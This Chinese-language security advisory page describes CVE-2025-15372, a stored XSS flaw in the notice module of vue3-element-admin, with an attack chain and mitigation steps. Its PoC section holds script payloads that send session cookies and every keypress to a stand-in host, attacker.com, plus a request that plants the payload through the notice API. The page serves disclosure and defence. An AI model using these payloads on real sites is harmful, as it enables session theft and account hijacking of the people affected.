IPBUF安全漏洞报告
English
CVE-2025-15372 CVSS 2.4 低危

CVE-2025-15372: youlaitech vue3-element-admin Notice组件XSS漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-15372
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
youlaitech vue3-element-admin

相关标签

CVE-2025-15372XSS跨站脚本Stored XSSyoulaitechvue3-element-adminVue.js前端漏洞通知模块Web安全

漏洞概述

CVE-2025-15372是youlaitech公司开发的vue3-element-admin前端框架中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响版本至3.4.0,存在于系统通知功能模块(src/views/system/notice/index.vue)的Notice Handler组件中。攻击者可以通过在通知内容中注入恶意JavaScript代码,当其他用户访问或查看该通知时,恶意代码将在受害者浏览器中执行。由于该漏洞需要高权限用户(PR:H)进行操作,且需要用户交互(UI:R),实际利用难度相对较高。但由于vue3-element-admin作为通用的后台管理系统框架被广泛使用,漏洞可能影响大量基于该框架开发的管理系统。攻击者可利用此漏洞窃取用户会话cookie、劫持用户账号或进行钓鱼攻击。CVSS 3.1评分2.4,评级为低危,主要因为其机密性和完整性影响较低。

技术细节

该漏洞为存储型XSS,存在于vue3-element-admin的通知管理模块中。攻击者利用系统通知创建功能,在通知标题或内容字段中注入恶意JavaScript代码(如<script>alert(document.cookie)</script>)。由于系统未对用户输入进行充分的输出编码或过滤,恶意代码被存储在数据库中。当其他用户(如管理员或普通用户)访问通知列表或查看该通知时,浏览器将渲染并执行存储的恶意脚本。vue3-element-admin使用Vue 3框架开发,虽然Vue默认提供了一定程度的XSS防护,但在特定场景下(如使用v-html指令或第三方库)仍可能存在绕过风险。攻击者可通过此漏洞获取用户敏感信息、伪造页面内容或进行进一步的攻击。由于需要高权限用户操作,攻击者可能需要先获取高权限账号或结合其他漏洞提升权限。

攻击链分析

STEP 1
步骤1
攻击者获取vue3-element-admin系统的高权限账号访问权限(如管理员账户)
STEP 2
步骤2
攻击者构造恶意XSS payload(<script>alert(document.cookie)</script>)
STEP 3
步骤3
通过系统通知管理功能创建包含恶意代码的通知,payload被存储到数据库
STEP 4
步骤4
诱导其他用户(如普通管理员或员工)访问通知列表或查看该通知页面
STEP 5
步骤5
用户浏览器加载通知内容时,恶意脚本被执行,窃取用户cookie或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的会话信息劫持用户账号或进行进一步的内网渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-15372 PoC - Stored XSS in vue3-element-admin Notice Module --> <!-- Author: AnalogyC0de --> <!-- Target: youlaitech vue3-element-admin <= 3.4.0 --> <!-- Step 1: Create malicious notice with XSS payload --> <!-- Payload: <script>alert(document.cookie)</script> --> <!-- or more dangerous payload --> <script> // Steal session cookies fetch('https://attacker.com/steal?cookie=' + document.cookie); // Or inject keylogger document.addEventListener('keypress', function(e) { fetch('https://attacker.com/log?key=' + e.key); }); </script> <!-- Step 2: XHR request to create notice (requires high privilege) --> const xssPayload = '<script>alert(document.cookie)</script>'; const exploit = async () => { const response = await fetch('/api/notice', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer <admin_token>' }, body: JSON.stringify({ title: 'System Notice' + xssPayload, content: 'Important update' + xssPayload, type: 1, status: 1 }) }); console.log('Exploit sent:', await response.json()); }; exploit();

影响范围

youlaitech vue3-element-admin <= 3.4.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)限制通知创建功能的访问权限,仅允许绝对必要的管理员操作;2)在前端添加输入过滤逻辑,禁用或转义<script>、<img onerror>等XSS常见payload;3)部署Content-Security-Policy头部限制脚本执行;4)监控通知相关API的异常请求模式;5)考虑临时禁用通知功能中的富文本编辑,使用纯文本模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表